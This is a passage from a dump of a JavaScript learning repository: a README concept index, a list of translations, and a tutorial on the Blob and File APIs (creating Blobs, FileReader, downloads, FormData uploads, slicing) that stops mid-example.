errors, and debugging with stack traces. ### Functions & Execution - **[Event Loop](https://33jsconcepts.com/concepts/event-loop)** Learn how the JavaScript event loop handles async code. Understand the call stack, task queue, microtasks, and why Promises always run before setTimeout(). - **[IIFE, Modules & Namespaces](https://33jsconcepts.com/concepts/iife-modules)** Learn how to organize JavaScript code with IIFEs, namespaces, and ES6 modules. Understand private scope, exports, dynamic imports, and common module mistakes. ### Web Platform - **[DOM](https://33jsconcepts.com/concepts/dom)** Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering performance. - **[Fetch API](https://33jsconcepts.com/concepts/http-fetch)** Learn how to make HTTP requests with the JavaScript Fetch API. Understand GET, POST, response handling, JSON parsing, error patterns, and AbortController for cancellation. - **[Web Workers](https://33jsconcepts.com/concepts/web-workers)** Learn Web Workers in JavaScript for running code in background threads. Understand postMessage, Dedicated and Shared Workers, and transferable objects. ### Object-Oriented JavaScript - **[Factories and Classes](https://33jsconcepts.com/concepts/factories-classes)** Learn JavaScript factory functions and ES6 classes. Understand constructors, prototypes, private fields, inheritance, and when to use each pattern. - **[this, call, apply, bind](https://33jsconcepts.com/concepts/this-call-apply-bind)** Learn how JavaScript's 'this' keyword works and how to control context binding. Understand the 5 binding rules, call/apply/bind methods, arrow functions, and common pitfalls. - **[Object Creation & Prototypes](https://33jsconcepts.com/concepts/object-creation-prototypes)** Learn JavaScript's prototype chain and object creation. Understand how inheritance works, the new operator's 4 steps, Object.create(), Object.assign(), and prototype methods. - **[Inheritance & Polymorphism](https://33jsconcepts.com/concepts/inheritance-polymorphism)** Learn inheritance and polymorphism in JavaScript — extending classes, prototype chains, method overriding, and code reuse patterns. ### Async JavaScript - **[Callbacks](https://33jsconcepts.com/concepts/callbacks)** Learn JavaScript callbacks, functions passed to other functions to be called later. Understand sync vs async callbacks, error-first patterns, callback hell, and why Promises were invented. - **[Promises](https://33jsconcepts.com/concepts/promises)** Learn JavaScript Promises for handling async operations. Understand how to create, chain, and combine Promises, handle errors properly, and avoid common pitfalls. - **[async/await](https://33jsconcepts.com/concepts/async-await)** Learn async/await in JavaScript. Syntactic sugar over Promises that makes async code readable. Covers error handling with try/catch, parallel execution with Promise.all, and common pitfalls. - **[Generators & Iterators](https://33jsconcepts.com/concepts/generators-iterators)** Learn JavaScript generators and iterators. Understand yield, the iteration protocol, lazy evaluation, infinite sequences, and async generators with for await...of. ### Functional Programming - **[Higher-Order Functions](https://33jsconcepts.com/concepts/higher-order-functions)** Learn higher-order functions in JavaScript. Understand functions that accept or return other functions, create reusable abstractions, and write cleaner code. - **[Pure Functions](https://33jsconcepts.com/concepts/pure-functions)** Learn pure functions in JavaScript. Understand the two rules of purity, avoid side effects, and write testable, predictable code with immutable patterns. - **[map, reduce, filter](https://33jsconcepts.com/concepts/map-reduce-filter)** Learn map, reduce, and filter in JavaScript. Transform, filter, and combine arrays without mutation. Includes method chaining and common pitfalls. - **[Recursion](https://33jsconcepts.com/concepts/recursion)** Learn recursion in JavaScript. Understand base cases, recursive calls, the call stack, and patterns like factorial, tree traversal, and memoization. - **[Currying & Composition](https://33jsconcepts.com/concepts/currying-composition)** Learn currying and function composition in JavaScript. Build reusable functions from simple pieces using curry, compose, and pipe for cleaner, modular code. ### Advanced Topics - **[JavaScript Engines](https://33jsconcepts.com/concepts/javascript-engines)** Learn how JavaScript engines work. Understand V8's architecture, parsing, compilation, JIT optimization, hidden classes, inline caching, and garbage collection. - **[Error Handling](https://33jsconcepts.com/concepts/error-handling)** Learn JavaScript error handling with try/catch/finally. Understand Error types, custom errors, async error patterns, and best practices for robust code. - **[Regular Expressions](https://33jsconcepts.com/concepts/regular-expressions)** Learn regular expressions in JavaScript. Covers pattern syntax, character classes, quantifiers, flags, capturing groups, and methods like test, match, and replace. - **[Modern JS Syntax](https://33jsconcepts.com/concepts/modern-js-syntax)** Learn modern JavaScript ES6+ syntax. Covers destructuring, spread/rest operators, arrow functions, optional chaining, nullish coalescing, and template literals. - **[ES Modules](https://33jsconcepts.com/concepts/es-modules)** Learn ES Modules in JavaScript. Understand import/export syntax, why ESM beats CommonJS, live bindings, dynamic imports, top-level await, and how modules enable tree-shaking. - **[Data Structures](https://33jsconcepts.com/concepts/data-structures)** Learn JavaScript data structures from built-in Arrays, Objects, Maps, and Sets to implementing Stacks, Queues, and Linked Lists. Understand when to use each structure. - **[Algorithms & Big O](https://33jsconcepts.com/concepts/algorithms-big-o)** Learn Big O notation and algorithms in JavaScript. Understand time complexity, implement searching and sorting algorithms, and recognize common interview patterns. - **[Design Patterns](https://33jsconcepts.com/concepts/design-patterns)** Learn JavaScript design patterns like Module, Singleton, Observer, Factory, Proxy, and Decorator. Understand when to use each pattern and avoid common pitfalls. - **[Clean Code](https://33jsconcepts.com/concepts/clean-code)** Learn clean code principles for JavaScript. Covers meaningful naming, small functions, DRY, avoiding side effects, and best practices to write maintainable code. --- ## Beyond 33: Extended Concepts Ready to go deeper? These advanced topics build on the fundamentals above. ### Language Mechanics - **[Hoisting](https://33jsconcepts.com/concepts/hoisting)** Learn how JavaScript hoists variable and function declarations. Understand why `var` behaves differently from `let` and `const`, function hoisting order, and how to avoid common bugs. - **[Temporal Dead Zone](https://33jsconcepts.com/concepts/temporal-dead-zone)** Learn the Temporal Dead Zone (TDZ) in JavaScript. Understand why accessing `let` and `const` before declaration throws errors, and how TDZ differs from `var` hoisting. - **[Strict Mode](https://33jsconcepts.com/concepts/strict-mode)** Learn JavaScript strict mode and how `'use strict'` catches common mistakes. Understand silent errors it prevents, forbidden syntax, and when to use it. ### Type System - **[JavaScript Type Nuances](https://33jsconcepts.com/concepts/javascript-type-nuances)** Learn advanced JavaScript type behavior. Understand null vs undefined, short-circuit evaluation, typeof quirks, instanceof and Symbol.hasInstance, Symbols, and BigInt for large numbers. ### Objects & Properties - **[Property Descriptors](https://33jsconcepts.com/concepts/property-descriptors)** Learn JavaScript property descriptors. Understand writable, enumerable, and configurable attributes, Object.defineProperty(), and how to create immutable object properties. - **[Getters & Setters](https://33jsconcepts.com/concepts/getters-setters)** Learn JavaScript getters and setters. Understand how to define computed properties with `get` and `set`, validate data on assignment, and create reactive object behavior. - **[Object Methods](https://33jsconcepts.com/concepts/object-methods)** Learn essential JavaScript Object methods. Master Object.keys(), Object.values(), Object.entries(), Object.fromEntries(), Object.freeze(), Object.seal(), and object cloning patterns. - **[Proxy & Reflect](https://33jsconcepts.com/concepts/proxy-reflect)** Learn JavaScript Proxy and Reflect APIs. Understand how to intercept object operations, create reactive systems, implement validation, and build powerful metaprogramming patterns. - **[WeakMap & WeakSet](https://33jsconcepts.com/concepts/weakmap-weakset)** Learn JavaScript WeakMap and WeakSet. Understand weak references, automatic garbage collection, private data patterns, and when to use them over Map and Set. ### Memory & Performance - **[Memory Management](https://33jsconcepts.com/concepts/memory-management)** Learn JavaScript memory management. Understand the memory lifecycle, stack vs heap allocation, memory leaks, and how to profile memory usage in DevTools. - **[Garbage Collection](https://33jsconcepts.com/concepts/garbage-collection)** Learn how JavaScript garbage collection works. Understand mark-and-sweep, reference counting, generational GC, and how to write memory-efficient code. - **[Debouncing & Throttling](https://33jsconcepts.com/concepts/debouncing-throttling)** Learn debouncing and throttling in JavaScript. Understand how to optimize event handlers, reduce API calls, improve scroll performance, and implement both patterns from scratch. - **[Memoization](https://33jsconcepts.com/concepts/memoization)** Learn memoization in JavaScript. Understand how to cache function results, optimize expensive computations, implement memoization patterns, and when caching hurts performance. ### Modern Syntax & Operators - **[Tagged Template Literals](https://33jsconcepts.com/concepts/tagged-template-literals)** Learn JavaScript tagged template literals. Understand how to create custom string processing functions, build DSLs, sanitize HTML, and use popular libraries like styled-components. - **[Computed Property Names](https://33jsconcepts.com/concepts/computed-property-names)** Learn JavaScript computed property names. Understand how to use dynamic keys in object literals, create objects from variables, and leverage Symbol keys. ### Browser Storage - **[localStorage & sessionStorage](https://33jsconcepts.com/concepts/localstorage-sessionstorage)** Learn Web Storage APIs in JavaScript. Understand localStorage vs sessionStorage, storage limits, JSON serialization, storage events, and security considerations. - **[IndexedDB](https://33jsconcepts.com/concepts/indexeddb)** Learn IndexedDB for client-side storage in JavaScript. Understand how to store large amounts of structured data, create indexes, perform transactions, and handle versioning. - **[Cookies](https://33jsconcepts.com/concepts/cookies)** Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, security best practices, and when to use cookies vs Web Storage. ### Events - **[Event Bubbling & Capturing](https://33jsconcepts.com/concepts/event-bubbling-capturing)** Learn JavaScript event bubbling and capturing. Understand the three phases of event propagation, stopPropagation(), event flow direction, and when to use each phase. - **[Event Delegation](https://33jsconcepts.com/concepts/event-delegation)** Learn event delegation in JavaScript. Understand how to handle events efficiently using bubbling, manage dynamic elements, reduce memory usage, and implement common delegation patterns. - **[Custom Events](https://33jsconcepts.com/concepts/custom-events)** Learn JavaScript custom events. Understand how to create, dispatch, and listen for CustomEvent, pass data between components, and build decoupled event-driven architectures. ### Observer APIs - **[Intersection Observer](https://33jsconcepts.com/concepts/intersection-observer)** Learn the Intersection Observer API. Understand how to detect element visibility, implement lazy loading, infinite scroll, and animate elements on scroll efficiently. - **[Mutation Observer](https://33jsconcepts.com/concepts/mutation-observer)** Learn the Mutation Observer API. Understand how to watch DOM changes, detect attribute modifications, observe child elements, and replace deprecated mutation events. - **[Resize Observer](https://33jsconcepts.com/concepts/resize-observer)** Learn the Resize Observer API. Understand how to respond to element size changes, build responsive components, and replace inefficient window resize listeners. - **[Performance Observer](https://33jsconcepts.com/concepts/performance-observer)** Learn the Performance Observer API. Understand how to measure page performance, track Long Tasks, monitor layout shifts, and collect Core Web Vitals metrics. ### Data Handling - **[JSON Deep Dive](https://33jsconcepts.com/concepts/json-deep-dive)** Learn advanced JSON in JavaScript. Understand JSON.stringify() replacers, JSON.parse() revivers, handling circular references, BigInt serialization, and custom toJSON methods. - **[Typed Arrays & ArrayBuffers](https://33jsconcepts.com/concepts/typed-arrays-arraybuffers)** Learn JavaScript Typed Arrays and ArrayBuffers. Understand binary data handling, DataView, working with WebGL, file processing, and network protocol implementation. - **[Blob & File API](https://33jsconcepts.com/concepts/blob-file-api)** Learn JavaScript Blob and File APIs. Understand how to create, read, and manipulate binary data, handle file uploads, generate downloads, and work with FileReader. - **[requestAnimationFrame](https://33jsconcepts.com/concepts/requestanimationframe)** Learn requestAnimationFrame in JavaScript. Understand how to create smooth 60fps animations, sync with browser repaint cycles, and optimize animation performance. --- ## Translations This project has been translated into 40+ languages by our amazing community! **[View all translations →](TRANSLATIONS.md)** --- ## Contributing We welcome contributions! See our [Contributing Guidelines](CONTRIBUTING.md) for details. --- ## License MIT © [Leonardo Maldonado](https://github.com/leonardomso) --- <div align="center"> <strong>If you find this helpful, please star the repo!</strong> </div> ================================================ FILE: TRANSLATIONS.md ================================================ # Translations This project has been translated into 40+ languages thanks to our amazing community of contributors. ## Available Translations - [اَلْعَرَبِيَّةُ‎ (Arabic)](https://github.com/amrsekilly/33-js-concepts) — Amr Elsekilly - [Български (Bulgarian)](https://github.com/thewebmasterp/33-js-concepts) — thewebmasterp - [汉语 (Chinese)](https://github.com/stephentian/33-js-concepts) — Re Tian - [Português do Brasil (Brazilian Portuguese)](https://github.com/tiagoboeing/33-js-concepts) — Tiago Boeing - [한국어 (Korean)](https://github.com/yjs03057/33-js-concepts.git) — Suin Lee - [Español (Spanish)](https://github.com/adonismendozaperez/33-js-conceptos) — Adonis Mendoza - [Türkçe (Turkish)](https://github.com/ilker0/33-js-concepts) — İlker Demir - [русский язык (Russian)](https://github.com/gumennii/33-js-concepts) — Mihail Gumennii - [Tiếng Việt (Vietnamese)](https://github.com/nguyentranchung/33-js-concepts) — Nguyễn Trần Chung - [Polski (Polish)](https://github.com/lip3k/33-js-concepts) — Dawid Lipinski - [فارسی (Persian)](https://github.com/majidalavizadeh/33-js-concepts) — Majid Alavizadeh - [Bahasa Indonesia (Indonesian)](https://github.com/rijdz/33-js-concepts) — Rijdzuan Sampoerna - [Français (French)](https://github.com/robinmetral/33-concepts-js) — Robin Métral - [हिन्दी (Hindi)](https://github.com/vikaschauhan/33-js-concepts) — Vikas Chauhan - [Ελληνικά (Greek)](https://github.com/DimitrisZx/33-js-concepts) — Dimitris Zarachanis - [日本語 (Japanese)](https://github.com/oimo23/33-js-concepts) — oimo23 - [Deutsch (German)](https://github.com/burhannn/33-js-concepts) — burhannn - [украї́нська мо́ва (Ukrainian)](https://github.com/AndrewSavetchuk/33-js-concepts-ukrainian-translation) — Andrew Savetchuk - [සිංහල (Sinhala)](https://github.com/ududsha/33-js-concepts) — Udaya Shamendra - [Italiano (Italian)](https://github.com/Donearm/33-js-concepts) — Gianluca Fiore - [Latviešu (Latvian)](https://github.com/ANormalStick/33-js-concepts) — Jānis Īvāns - [Afaan Oromoo (Oromo)](https://github.com/Amandagne/33-js-concepts) — Amanuel Dagnachew - [ภาษาไทย (Thai)](https://github.com/ninearif/33-js-concepts) — Arif Waram - [Català (Catalan)](https://github.com/marioestradaf/33-js-concepts) — Mario Estrada - [Svenska (Swedish)](https://github.com/FenixHongell/33-js-concepts/) — Fenix Hongell - [ខ្មែរ (Khmer)](https://github.com/Chhunneng/33-js-concepts) — Chrea Chanchhunneng - [አማርኛ (Ethiopian)](https://github.com/hmhard/33-js-concepts) — Miniyahil Kebede (ምንያህል ከበደ) - [Беларуская мова (Belarussian)](https://github.com/Yafimau/33-js-concepts) — Dzianis Yafimau - [O'zbekcha (Uzbek)](https://github.com/smnv-shokh/33-js-concepts) — Shokhrukh Usmonov - [Urdu (اردو)](https://github.com/sudoyasir/33-js-concepts) — Yasir Nawaz - [हिन्दी (Hindi)](https://github.com/milostivyy/33-js-concepts) — Mahima Chauhan - [বাংলা (Bengali)](https://github.com/Jisan-mia/33-js-concepts) — Jisan Mia - [ગુજરાતી (Gujarati)](https://github.com/VatsalBhuva11/33-js-concepts) — Vatsal Bhuva - [سنڌي (Sindhi)](https://github.com/Sunny-unik/33-js-concepts) — Sunny Gandhwani - [भोजपुरी (Bhojpuri)](https://github.com/debnath003/33-js-concepts) — Pronay Debnath - [ਪੰਜਾਬੀ (Punjabi)](https://github.com/Harshdev098/33-js-concepts) — Harsh Dev Pathak - [Latin (Latin)](https://github.com/Harshdev098/33-js-concepts) — Harsh Dev Pathak - [മലയാളം (Malayalam)](https://github.com/Stark-Akshay/33-js-concepts) — Akshay Manoj - [Yorùbá (Yoruba)](https://github.com/ayobaj/33-js-concepts) — Ayomide Bajulaye - [עברית‎ (Hebrew)](https://github.com/rafyzg/33-js-concepts) — Refael Yzgea - [Nederlands (Dutch)](https://github.com/dlvisser/33-js-concepts) — Dave Visser - [தமிழ் (Tamil)](https://github.com/UdayaKrishnanM/33-js-concepts) — Udaya Krishnan M --- ## Want to Translate? We'd love to have more translations! See our [Contributing Guidelines](CONTRIBUTING.md) for details on how to submit a translation. ================================================ FILE: docs/5c8wamucvfketshf1eyrw254gz94jwre.txt ================================================ 5c8wamucvfketshf1eyrw254gz94jwre ================================================ FILE: docs/beyond/concepts/blob-file-api.mdx ================================================ --- title: "Blob & File API in JavaScript" sidebarTitle: "Blob & File API" description: "Learn JavaScript Blob and File APIs for binary data. Create, read, and manipulate files, handle uploads, generate downloads, and work with FileReader." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Data Handling" "article:tag": "blob file api, file upload, filereader, binary data, file download, file handling" --- How do you let users upload images? How do you create a downloadable file from data generated in JavaScript? How can you read the contents of a file the user selected? The **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** and **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** APIs are JavaScript's tools for working with binary data. They power everything from profile picture uploads to CSV exports to image processing in the browser. ```javascript // Create a text file and download it const content = 'Hello, World!' const blob = new Blob([content], { type: 'text/plain' }) const url = URL.createObjectURL(blob) const link = document.createElement('a') link.href = url link.download = 'hello.txt' link.click() URL.revokeObjectURL(url) // Clean up memory ``` Understanding these APIs unlocks powerful client-side file handling without needing a server. <Info> **What you'll learn in this guide:** - What Blobs are and how to create them from strings, arrays, and other data - How the File interface extends Blob for user-selected files - Reading file contents with FileReader (text, data URLs, ArrayBuffers) - Creating downloadable files with Blob URLs - Uploading files with FormData - Slicing large files for chunked uploads - Converting between Blobs, ArrayBuffers, and Data URLs </Info> <Warning> **Prerequisites:** This guide assumes you understand [Promises](/concepts/promises) and [async/await](/concepts/async-await). If you're not familiar with those concepts, read those guides first. You should also be comfortable with basic DOM manipulation. </Warning> --- ## What is a Blob in JavaScript? A **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** (Binary Large Object) is an immutable, file-like object that represents raw binary data. According to the [W3C File API specification](https://www.w3.org/TR/FileAPI/#blob-section), a Blob is a container that can hold any kind of data: text, images, audio, video, or arbitrary bytes. Blobs are the foundation for file handling in JavaScript, as the File interface is built on top of Blob. Unlike regular JavaScript strings or arrays, Blobs are designed to efficiently handle large amounts of binary data. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/API/Blob), they're immutable — once created, you can't change their contents. Instead, you create new Blobs from existing ones. ```javascript // Creating Blobs from different data types const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) const jsonBlob = new Blob([JSON.stringify({ name: 'Alice' })], { type: 'application/json' }) const htmlBlob = new Blob(['<h1>Title</h1>'], { type: 'text/html' }) console.log(textBlob.size) // 13 (bytes) console.log(textBlob.type) // "text/plain" ``` --- ## The Filing Cabinet Analogy Imagine a filing cabinet in an office. The cabinet (Blob) holds documents, but you can't read them just by looking at the cabinet. You need to open it and take out the contents. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ BLOB: THE FILING CABINET │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────────┐ │ │ │ │ Blob Properties: │ │ │ ┌──────────┐ │ • size: how many bytes (papers) inside │ │ │ │ [data] │ │ • type: what kind of content (MIME type) │ │ │ │ [data] │ │ │ │ │ │ [data] │ │ To read the contents, you need: │ │ │ └──────────┘ │ • FileReader (opens and reads) │ │ │ │ • blob.text() / blob.arrayBuffer() (async) │ │ │ 📁 BLOB │ • URL.createObjectURL() (creates a link) │ │ └────────────────┘ │ │ │ │ You can't change papers inside, but you can: │ │ • Create a new cabinet with different papers (new Blob) │ │ • Take a portion of papers (blob.slice()) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` The key insight: **Blobs store data but don't expose it directly**. You need tools like [FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader) or Blob methods to access the contents. --- ## Creating Blobs The [`Blob()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/Blob/Blob) takes two arguments: an array of data parts and an options object. ### Basic Blob Creation ```javascript // Syntax: new Blob(blobParts, options) // From a string const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) // From multiple strings (they're concatenated) const multiBlob = new Blob(['Hello, ', 'World!'], { type: 'text/plain' }) // From JSON data const user = { name: 'Alice', age: 30 } const jsonBlob = new Blob( [JSON.stringify(user, null, 2)], { type: 'application/json' } ) // From HTML const htmlBlob = new Blob( ['<!DOCTYPE html><html><body><h1>Hello</h1></body></html>'], { type: 'text/html' } ) ``` ### From Typed Arrays and ArrayBuffers Blobs can also be created from binary data like [Typed Arrays](/beyond/concepts/typed-arrays-arraybuffers): ```javascript // From a Uint8Array const bytes = new Uint8Array([72, 101, 108, 108, 111]) // "Hello" in ASCII const binaryBlob = new Blob([bytes], { type: 'application/octet-stream' }) // From an ArrayBuffer const buffer = new ArrayBuffer(8) const view = new DataView(buffer) view.setFloat64(0, Math.PI) const bufferBlob = new Blob([buffer]) // Combining different data types const mixedBlob = new Blob([ 'Header: ', bytes, '\nFooter' ], { type: 'text/plain' }) ``` ### Blob Properties Every Blob has two read-only properties: | Property | Description | Example | |----------|-------------|---------| | `size` | Size in bytes | `blob.size` returns `13` for "Hello, World!" | | `type` | MIME type string | `blob.type` returns `"text/plain"` | ```javascript const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) console.log(blob.size) // 13 console.log(blob.type) // "text/plain" ``` --- ## The File Interface The **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** interface extends Blob, adding properties specific to files from the user's system. When users select files through `<input type="file">` or drag-and-drop, you get File objects. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ FILE EXTENDS BLOB │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ BLOB │ │ │ │ • size (bytes) │ │ │ │ • type (MIME type) │ │ │ │ • slice(), text(), arrayBuffer(), stream() │ │ │ │ │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ │ │ FILE │ │ │ │ │ │ + name (filename with extension) │ │ │ │ │ │ + lastModified (timestamp) │ │ │ │ │ │ + webkitRelativePath (for directory uploads) │ │ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ File inherits everything from Blob, plus file-specific metadata. │ │ Any API that accepts Blob also accepts File. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Getting Files from User Input The most common way to get File objects is from an `<input type="file">` element: ```javascript // HTML: <input type="file" id="fileInput" multiple> const fileInput = document.getElementById('fileInput') fileInput.addEventListener('change', (event) => { const files = event.target.files // FileList object for (const file of files) { console.log('Name:', file.name) // "photo.jpg" console.log('Size:', file.size) // 1024000 (bytes) console.log('Type:', file.type) // "image/jpeg" console.log('Modified:', file.lastModified) // 1704067200000 (timestamp) console.log('Modified Date:', new Date(file.lastModified)) } }) ``` ### Creating File Objects Programmatically You can create File objects directly with the [`File()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/File/File): ```javascript // Syntax: new File(fileBits, fileName, options) const file = new File( ['Hello, World!'], // Content (same as Blob) 'greeting.txt', // Filename { type: 'text/plain', // MIME type lastModified: Date.now() // Optional timestamp } ) console.log(file.name) // "greeting.txt" console.log(file.size) // 13 console.log(file.type) // "text/plain" ``` ### Drag and Drop Files Files can also come from drag-and-drop operations: ```javascript const dropZone = document.getElementById('dropZone') dropZone.addEventListener('dragover', (e) => { e.preventDefault() // Required to allow drop dropZone.classList.add('drag-over') }) dropZone.addEventListener('dragleave', () => { dropZone.classList.remove('drag-over') }) dropZone.addEventListener('drop', (e) => { e.preventDefault() dropZone.classList.remove('drag-over') const files = e.dataTransfer.files // FileList for (const file of files) { console.log('Dropped:', file.name, file.type) } }) ``` --- ## Reading Files with FileReader **[FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader)** is an asynchronous API for reading Blob and File contents. It provides different methods depending on how you want the data: | Method | Returns | Use Case | |--------|---------|----------| | `readAsText(blob)` | String | Text files, JSON, CSV | | `readAsDataURL(blob)` | Data URL string | Image previews, embedding | | `readAsArrayBuffer(blob)` | ArrayBuffer | Binary processing | | `readAsBinaryString(blob)` | Binary string | Legacy (deprecated) | ### Reading Text Content ```javascript function readTextFile(file) { return new Promise((resolve, reject) => { const reader = new FileReader() reader.onload = () => resolve(reader.result) reader.onerror = () => reject(reader.error) reader.readAsText(file) }) } // Usage with file input fileInput.addEventListener('change', async (e) => { const file = e.target.files[0] if (file.type === 'text/plain' || file.name.endsWith('.txt')) { const content = await readTextFile(file) console.log(content) } }) ``` ### Reading as Data URL (for Image Previews) A [Data URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) is a string that contains the file data encoded as base64. It can be used directly as an `src` attribute for images: ```javascript function readAsDataURL(file) { return new Promise((resolve, reject) => { const reader = new FileReader() reader.onload = () => resolve(reader.result) reader.onerror = () => reject(reader.error) reader.readAsDataURL(file) }) } // Image preview example const imageInput = document.getElementById('imageInput') const preview = document.getElementById('preview') imageInput.addEventListener('change', async (e) => { const file = e.target.files[0] if (file && file.type.startsWith('image/')) { const dataUrl = await readAsDataURL(file) preview.src = dataUrl // Display the image // dataUrl looks like: "data:image/jpeg;base64,/9j/4AAQSkZJRg..." } }) ``` ### Reading as ArrayBuffer For binary processing, read the file as an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer): ```javascript function readAsArrayBuffer(file) { return new Promise((resolve, reject) => { const reader = new FileReader() reader.onload = () => resolve(reader.result) reader.onerror = () => reject(reader.error) reader.readAsArrayBuffer(file) }) } // Example: Check if a file is a PNG image by reading magic bytes async function isPNG(file) { const buffer = await readAsArrayBuffer(file.slice(0, 8)) const bytes = new Uint8Array(buffer) // PNG magic number: 137 80 78 71 13 10 26 10 const pngSignature = [137, 80, 78, 71, 13, 10, 26, 10] return pngSignature.every((byte, i) => bytes[i] === byte) } ``` ### FileReader Events FileReader provides several events for monitoring the reading process: ```javascript const reader = new FileReader() reader.onloadstart = () => console.log('Started reading') reader.onprogress = (e) => { if (e.lengthComputable) { const percent = (e.loaded / e.total) * 100 console.log(`Progress: ${percent.toFixed(1)}%`) } } reader.onload = () => console.log('Read complete:', reader.result) reader.onerror = () => console.error('Error:', reader.error) reader.onloadend = () => console.log('Finished (success or failure)') reader.readAsText(file) ``` --- ## Modern Blob Methods Modern browsers support Promise-based methods directly on Blob objects, which are often cleaner than FileReader: ```javascript const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) // Read as text (Promise-based) const text = await blob.text() console.log(text) // "Hello, World!" // Read as ArrayBuffer const buffer = await blob.arrayBuffer() console.log(new Uint8Array(buffer)) // Uint8Array [72, 101, ...] // Read as stream (for large files) const stream = blob.stream() const reader = stream.getReader() while (true) { const { done, value } = await reader.read() if (done) break console.log('Chunk:', value) // Uint8Array chunks } ``` <Tip> **When to use what:** For simple reads, use `blob.text()` or `blob.arrayBuffer()`. For large files where you want to process data as it streams, use `blob.stream()`. Use FileReader when you need progress events or Data URLs. </Tip> --- ## Creating Downloadable Files One of the most useful Blob applications is generating downloadable files in the browser. The key is [`URL.createObjectURL()`](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL_static). ### Basic Download ```javascript function downloadBlob(blob, filename) { // Create a URL pointing to the blob const url = URL.createObjectURL(blob) // Create a temporary link element const link = document.createElement('a') link.href = url link.download = filename // Suggested filename // Trigger the download document.body.appendChild(link) link.click() document.body.removeChild(link) // Clean up the URL (free memory) URL.revokeObjectURL(url) } // Download a text file const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) downloadBlob(textBlob, 'greeting.txt') // Download JSON data const data = { users: [{ name: 'Alice' }, { name: 'Bob' }] } const jsonBlob = new Blob( [JSON.stringify(data, null, 2)], { type: 'application/json' } ) downloadBlob(jsonBlob, 'users.json') ``` ### Export Table Data as CSV ```javascript function tableToCSV(tableData, headers) { const rows = [ headers.join(','), ...tableData.map(row => row.map(cell => `"${cell}"`).join(',') ) ] return rows.join('\n') } function downloadCSV(tableData, headers, filename) { const csv = tableToCSV(tableData, headers) const blob = new Blob([csv], { type: 'text/csv' }) downloadBlob(blob, filename) } // Usage const headers = ['Name', 'Email', 'Role'] const data = [ ['Alice', 'alice@example.com', 'Admin'], ['Bob', 'bob@example.com', 'User'] ] downloadCSV(data, headers, 'users.csv') ``` ### Memory Management with Object URLs <Warning> **Memory Leak Risk:** Every `URL.createObjectURL()` call allocates memory that isn't automatically freed. Always call `URL.revokeObjectURL()` when you're done with the URL, or you'll leak memory. </Warning> ```javascript // ❌ WRONG - Memory leak! function displayImage(blob) { const url = URL.createObjectURL(blob) img.src = url // URL is never revoked, memory is leaked } // ✓ CORRECT - Clean up after use function displayImage(blob) { const url = URL.createObjectURL(blob) img.src = url img.onload = () => { URL.revokeObjectURL(url) // Free memory after image loads } } // ✓ CORRECT - Clean up previous URL before creating new one let currentUrl = null function displayImage(blob) { if (currentUrl) { URL.revokeObjectURL(currentUrl) } currentUrl = URL.createObjectURL(blob) img.src = currentUrl } ``` --- ## Uploading Files ### Using FormData The most common way to upload files is with [FormData](https://developer.mozilla.org/en-US/docs/Web/API/FormData): ```javascript async function uploadFile(file) { const formData = new FormData() formData.append('file', file) formData.append('description', 'My uploaded file') const response = await fetch('/api/upload', { method: 'POST', body: formData // Don't set Content-Type header - browser sets it with boundary }) if (!response.ok) { throw new Error(`Upload failed: ${response.status}`) } return response.json() } // With file input fileInput.addEventListener('change', async (e) => { const file = e.target.files[0] try { const result = await uploadFile(file) console.log('Uploaded:', result) } catch (error) { console.error('Upload error:', error) } }) ``` ### Uploading Multiple Files ```javascript async function uploadMultipleFiles(files) { const formData = new FormData() for (const file of files) { formData.append('files', file) // Same key for multiple files } const response = await fetch('/api/upload-multiple', { method: 'POST', body: formData }) return response.json() } ``` ### Upload with Progress For large files, show upload progress: ```javascript function uploadWithProgress(file, onProgress) { return new Promise((resolve, reject) => { const xhr = new XMLHttpRequest() const formData = new FormData() formData.append('file', file) xhr.upload.addEventListener('progress', (e) => { if (e.lengthComputable) { const percent = (e.loaded / e.total) * 100 onProgress(percent) } }) xhr.addEventListener('load', () => { if (xhr.status >= 200 && xhr.status < 300) { resolve(JSON.parse(xhr.responseText)) } else { reject(new Error(`Upload failed: ${xhr.status}`)) } }) xhr.addEventListener('error', () => reject(new Error('Network error'))) xhr.open('POST', '/api/upload') xhr.send(formData) }) } // Usage uploadWithProgress(file, (percent) => { progressBar.style.width = `${percent}%` progressText.textContent = `${percent.toFixed(0)}%` }) ``` --- ## Slicing Blobs The [`slice()`](https://developer.mozilla.org/en-US/docs/Web/API/Blob/slice) method creates a new Blob containing a portion of the original: ```javascript const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) // Syntax: blob.slice(start, end, contentType) const firstFive = blob.slice(0, 5) // "Hello" const lastSix = blob.slice(-6) // "World!" const middle = blob.slice(7, 12) // "World" const withNewType = blob.slice(0, 5, 